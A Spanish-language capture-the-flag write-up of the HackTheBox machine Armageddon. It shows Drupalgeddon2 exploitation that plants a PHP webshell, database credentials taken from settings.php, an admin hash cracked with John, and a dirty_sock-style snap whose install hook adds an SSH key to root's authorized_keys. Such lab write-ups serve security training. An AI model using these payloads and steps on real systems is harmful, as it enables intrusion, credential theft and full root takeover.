Armageddon una maquina de HackTheBox con SO Linux, encontramos una version de Drupal desactualizada por donde obtuvimos acceso. Tras obtener credenciales de una base de datos cambiamos a un siguiente usuario, y, con este ultimo escalamos privilegios creando un paquete de snap.
Nombre |
Armageddon |
OS |
Linux |
Puntos |
20 |
Dificultad |
Facil |
IP |
10.10.10.233 |
Maker |
bertolis |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[5, 4.6, 5.8, 4.2, 5.4],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[0, 0, 0, 0, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
RECON
NMAP
Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
# Nmap 7.91 scan initiated Sun Mar 28 01:55:48 2021 as: nmap -Pn -p- --min-rate 10000 -oN allports 10.10.10.233
Warning: 10.10.10.233 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.233 (10.10.10.233)
Host is up (0.097s latency).
Not shown: 41553 filtered ports, 23980 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Sun Mar 28 01:57:23 2021 -- 1 IP address (1 host up) scanned in 95.32 seconds
# Nmap 7.91 scan initiated Sun Mar 28 01:58:26 2021 as: nmap -Pn -sV -sC -p 22,80 -oN serviceports 10.10.10.233
Nmap scan report for 10.10.10.233 (10.10.10.233)
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to Armageddon | Armageddon
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 28 01:58:44 2021 -- 1 IP address (1 host up) scanned in 17.45 seconds
|
DRUPAL
Encontramos en el puerto 80 Drupal en su version 7 y basandonos en el archivo CHANGELOG.txt
e /includes/bootstrap.inc podriamos confirmar que la version es 7.56
.
1
2
3
4
5
6
7
8
9
10
11
12
|
HTTP/1.1 200 OK
Date: Sun, 28 Mar 2021 06:03:20 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Content-Language: en
X-Frame-Options: SAMEORIGIN
X-Generator: Drupal 7 (http://drupal.org)
Content-Length: 7440
Content-Type: text/html; charset=utf-8
|
1
2
3
4
5
6
7
8
9
|
┌──(kali㉿kali)-[~/htb/armageddon]
└─$ curl -s http://10.10.10.233/CHANGELOG.txt | head
Drupal 7.56, 2017-06-21
-----------------------
- Fixed security issues (access bypass). See SA-CORE-2017-003.
┌──(kali㉿kali)-[~/htb/armageddon]
└─$ curl -s http://10.10.10.233/includes/bootstrap.inc|grep "define('VERSION'"
define('VERSION', '7.56');
|
GOBUSTER
Gobustter mostró direcciones que pertenecen a drupal.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
┌──(kali㉿kali)-[~/htb/armageddon]
└─$ gobuster dir -u http://10.10.10.233/ -w /usr/share/wordlists/dirb/common.txt -t 150 -q -x php,html,txt,xml,py,pl,sh,bak
/1 (Status: 200)
/cgi-bin/ (Status: 403)
/cgi-bin/.html (Status: 403)
/includes (Status: 301)
/install.php (Status: 200)
/index.php (Status: 200)
/index.php (Status: 200)
/LICENSE.txt (Status: 200)
/misc (Status: 301)
/modules (Status: 301)
/profiles (Status: 301)
/README.txt (Status: 200)
/scripts (Status: 301)
/sites (Status: 301)
/themes (Status: 301)
/update.php (Status: 403)
/web.config (Status: 200)
/xmlrpc.php (Status: 200)
/xmlrpc.php (Status: 200)
|
DRUPALGEDDON
Realizamos una busqueda de las versiones más cercanas a Drupal 7.56
la cual tenga un exploit o vulnerabilidad. Encontramos Drupalgeddon2
y Drupalgeddon3
las más sobresalientes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
┌──(kali㉿kali)-[~/htb/armageddon]
└─$ searchsploit drupal 7.56 130 ⨯
------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------ ---------------------------------
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py
------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
|
La vulnerabilidad de la cual Drupalgeddon2 se aprovecha se encuentra en la “API” de Formularios de Drupal.
APACHE - USER
Encontramos un exploit el cual realiza la explotacion para Drupalgeddon2
con la cual logramos ejecutar comandos como usuario Apache
con una simple webshell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
──(kali㉿kali)-[~/htb/armageddon]
└─$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]
Example for target that does not require authentication:
ruby drupalgeddon2.rb https://example.com
Example for target that does require authentication:
ruby drupalgeddon2.rb https://example.com --authentication
┌──(kali㉿kali)-[~/htb/armageddon]
└─$ ruby drupalgeddon2.rb http://10.129.89.116/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.129.89.116/
--------------------------------------------------------------------------------
[+] Found : http://10.129.89.116/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution (Method: name)
[i] Payload: echo ECWIGPQW
[+] Result : ECWIGPQW
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file (http://10.129.89.116/shell.php)
[i] Response: HTTP 404 // Size: 5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell: curl 'http://10.129.89.116/shell.php' -d 'c=hostname'
armageddon.htb>>
armageddon.htb>> whoami; id; pwd
apache
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
/var/www/html
armageddon.htb>>
|
DRUPAL DB
Con esta webshell realizamos una enumeracion de los archivos de configuracion de drupal, donde encontramos el archivo de configuracion que contiene las credenciales de la base de datos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
armageddon.htb>> find . -name settings.php 2>/dev/null
[!] WARNING: Detected an known bad character (>)
./sites/default/settings.php
armageddon.htb>> cat ./sites/default/settings.php|grep "password"
* 'password' => 'password',
* username, password, host, and database name.
* 'password' => 'password',
* 'password' => 'password',
* 'password' => 'password',
* 'password' => 'password',
'password' => 'CQHEy@9M*m23gBVj',
* by using the username and password variables. The proxy_user_agent variable
# $conf['proxy_password'] = '';
armageddon.htb>>
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
|
Utilizando estas credenciales con mysql, logrando obtener la contraseña encriptada de la base de datos de drupal del usuario brucetherealadmin
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
armageddon.htb>> mysql -u drupaluser -p'CQHEy@9M*m23gBVj' -e "show databases;"
Database
information_schema
drupal
mysql
performance_schema
armageddon.htb>> mysql -u drupaluser -p'CQHEy@9M*m23gBVj' -e "use drupal; show tables;"
Tables_in_drupal
actions
authmap
[... REDACTED ...]
users
users_roles
variable
watchdog
armageddon.htb>> mysql -u drupaluser -p'CQHEy@9M*m23gBVj' -e "use drupal; describe users;"
Field Type Null Key Default Extra
uid int(10) unsigned NO PRI 0
name varchar(60) NO UNI
pass varchar(128) NO
mail varchar(254) YES MUL
theme varchar(255) NO
signature varchar(255) NO
signature_format varchar(255) YES NULL
created int(11) NO MUL 0
access int(11) NO MUL 0
login int(11) NO 0
status tinyint(4) NO 0
timezone varchar(32) YES NULL
language varchar(12) NO
picture int(11) NO MUL 0
init varchar(254) YES
data longblob YES NULL
armageddon.htb>> mysql -u drupaluser -p'CQHEy@9M*m23gBVj' -e "use drupal; select uid,name,pass from users;"
uid name pass
0
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
armageddon.htb>>
|
JOHN
Utilizamos John para obtener en texto plano la contraseña.
1
2
3
4
5
6
7
8
9
10
11
|
┌──(kali㉿kali)-[~/htb/armageddon]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash_brucetherealadmin
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo (?)
1g 0:00:00:00 DONE (2021-03-28 03:24) 2.000g/s 464.0p/s 464.0c/s 464.0C/s tiffany..harley
Use the "--show" option to display all of the cracked passwords reliably
Session completed
|
BRUCE - USER
Ingresamos por el servicio SSH, logrando obtener una shell con el usuario brucetherealadmin
y la flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
┌──(kali㉿kali)-[~/htb/armageddon]
└─$ ssh brucetherealadmin@10.129.89.116 # booboo 130 ⨯
brucetherealadmin@10.129.89.116's password:
Last failed login: Sun Mar 28 08:13:18 BST 2021 from 10.10.14.48 on ssh:notty
There was 1 failed login attempt since the last successful login.
Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2
[brucetherealadmin@armageddon ~]$ whoami;id;pwd
brucetherealadmin
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
/home/brucetherealadmin
[brucetherealadmin@armageddon ~]$ ls
user.txt
[brucetherealadmin@armageddon ~]$ cat user.txt| cut -c1-15
69eb27ca88fbbd9
|
PRIVILEGE ESCALATION
El usuario actual puede ejecutar el comando sudo snap install *
por lo que podriamos instalar snaps. Verificamos si exsitia algun paquete instalado y observamos solamente el core
, además encontramos que la version de snap es la 2.47
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
[brucetherealadmin@armageddon ~]$ sudo -l -l
Matching Defaults entries for brucetherealadmin on armageddon:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2
QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION
LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User brucetherealadmin may run the following commands on armageddon:
Sudoers entry:
RunAsUsers: root
Options: !authenticate
Commands:
/usr/bin/snap install *
[brucetherealadmin@armageddon ~]$
[brucetherealadmin@armageddon ~]$ snap list
Name Version Rev Tracking Publisher Notes
core 16-2.49 10859 latest/stable canonical✓ core
[brucetherealadmin@armageddon ~]$ snap --version
snap 2.47.1-1.el7
snapd 2.47.1-1.el7
series 16
centos 7
kernel 3.10.0-1160.6.1.el7.x86_64
[brucetherealadmin@armageddon ~]$
|
Despues de realizar una busqueda de posibles exploits o vulnerabilidades relacionadas a snap, encontramos dirty_sock, el cual se aprovecha de la instalacion de un snap a traves de la API de snap y la instalacion de hooks, lo que permitiría obtener acceso privilegiado en el sistema. Existen dos exploits, dirty_sockv1
se aprovecha de la API de snap para la creacion de un usuario utilizando una cuenta de Ubuntu SSO aunque es necesario que la maquina tenga acceso a internet. dirty_sockv2
en este, se utilizan los hooks de snap para ejecutar comandos cuando un paquete es instalado en modo devmode
.
… snaps have something called “hooks”. One such hook, the “install hook” is run at the time of snap installation and can be a simple shell script. If the snap is configured in “devmode”, then this hook will be run in the context of root.
En esta maquina al poder instalar paquetes mediante sudo
los hooks se estarían ejecutando como root
. Creamos nuestro propio paquete utilizando los comandos de dirtysockv2
de este post, aunque a diferencia de este agregamos la clave publica del usuario brucetherealadmin
al archivo /root/.ssh/authorized_keys
en el script snap/hooks/install
, para poder tener acceso a traves de SSH en localhost.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
[brucetherealadmin@armageddon ~]$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/brucetherealadmin/.ssh/id_rsa):
Created directory '/home/brucetherealadmin/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/brucetherealadmin/.ssh/id_rsa.
Your public key has been saved in /home/brucetherealadmin/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:DjcytDVT0BIUbXeGj0gziVxCQXuKut8Qzdkkd4iRMcE brucetherealadmin@armageddon.htb
The key's randomart image is:
+---[RSA 2048]----+
| *#&o. . |
| EBO.o o |
| . B+==.= |
| . * @... . |
| B S . |
| . B . |
| . . . |
| . o |
| ... . |
+----[SHA256]-----+
[brucetherealadmin@armageddon ~]$ cat ~/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEXyP4V63iTvxbzKeHw4loojfsZHI0hWLwDnaE043yxtsvItYh7JGQf5SkTjFHe2LOuDSrEL0u8OFQAZvIwubxmeqfuGIBXOoZRQKyfCA8bayCce9w2MdG9w1xX4dZZ45ht38Y17EWvZipxyOVMZQYuld3aBs5S5FV8Ii6r3HTpLOvhXMHxoti9NAr6wAxbcNKA28lNYriCgAsNvGW8ieIrhIw44luU9nZaNS4NfRkuLLh2/Bii0axUA1f0ZkhTOtIWk0REMQALDJrfgvjV+5b+EQGgfsQ8/dvzy7tWPargurCFTSQwCuHXHs+4t1Hvv32e+fKi4F7iu/YG6xyyZXj brucetherealadmin@armageddon.htb
[brucetherealadmin@armageddon ~]$
|
Hay que mencionar que es posible ejecutar algun otro tipo de comando en el hook, tambien, el script original del hook no funciona en esta maquina para obtener acceso privilegiado
ya que no existe el grupo sudo
en la maquina.
En caso de algun tipo de error utilizar #!/bin/sh -e
en lugar de #!/bin/bash
.
Creamos el snap con los siguientes comandos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
## Initialize the directory as a snap project
snapcraft init
## Set up the install hook
mkdir snap/hooks
touch snap/hooks/install
chmod a+x snap/hooks/install
## Write the script we want to execute as root
cat > snap/hooks/install << "EOF"
#!/bin/sh -e
mkdir /root/.ssh/
echo "ssh-rsa AAAAB3NzaC1yc[...]+4t1Hvv32e+fKi4F7iu/YG6xyyZXj brucetherealadmin@armageddon.htb" >> /root/.ssh/authorized_keys
EOF
## Configure the snap yaml file
cat > snap/snapcraft.yaml << "EOF"
name: dirty-sock
version: '0.1'
summary: Empty snap, used for exploit
description: |
See https://github.com/initstring/dirty_sock
grade: devel
confinement: devmode
parts:
my-part:
plugin: nil
EOF
## Build the snap
snapcraft
|
Con esto se creará el archivo dirty-sock_0.1_amd64.snap
el cual trasladamos a la maquin e instalamos en modo devmode
, al no haber ningun tipo de error verificamos que los comandos fueron ejecutados ingresando al usuario root mediante SSH, lo cual nos permitió obtener una shell y flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
brucetherealadmin@armageddon ~]$ sudo snap install dirty-sock_0.1_amd64.snap --devmode
dirty-sock 0.1 installed
[brucetherealadmin@armageddon ~]$
[brucetherealadmin@armageddon ~]$ ssh root@localhost
The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is SHA256:bC1R/FE5sI72ndY92lFyZQt4g1VJoSNKOeAkuuRr4Ao.
ECDSA key fingerprint is MD5:3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Last login: Tue Mar 23 12:51:31 2021
[root@armageddon ~]# whoami
root
[root@armageddon ~]# ls
anaconda-ks.cfg cleanup.sh passwd reset.sh root.txt snap
[root@armageddon ~]# cat root.txt | cut -c1-15
7ed932f4e56933d
[root@armageddon ~]#
|
CRONTAB
Con el usuario root encontramos dos crons, los cuales restauran archivos, limpian carpetas y eliminan los snaps instalados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
[root@armageddon ~]# crontab -l
5 * * * * /root/reset.sh
* * * * * /root/cleanup.sh
[root@armageddon ~]# cat /root/reset.sh
#!/bin/bash
cp /root/passwd /etc/passwd
rm -rf /tmp/* /dev/shm/*
[root@armageddon ~]# cat /root/cleanup.sh
#!/bin/bash
/usr/bin/snap list | tail -n +2 | grep -v '^core ' | awk '{print $1}' | while read s
do
/usr/bin/snap remove --purge "$s"
done
[root@armageddon ~]#
|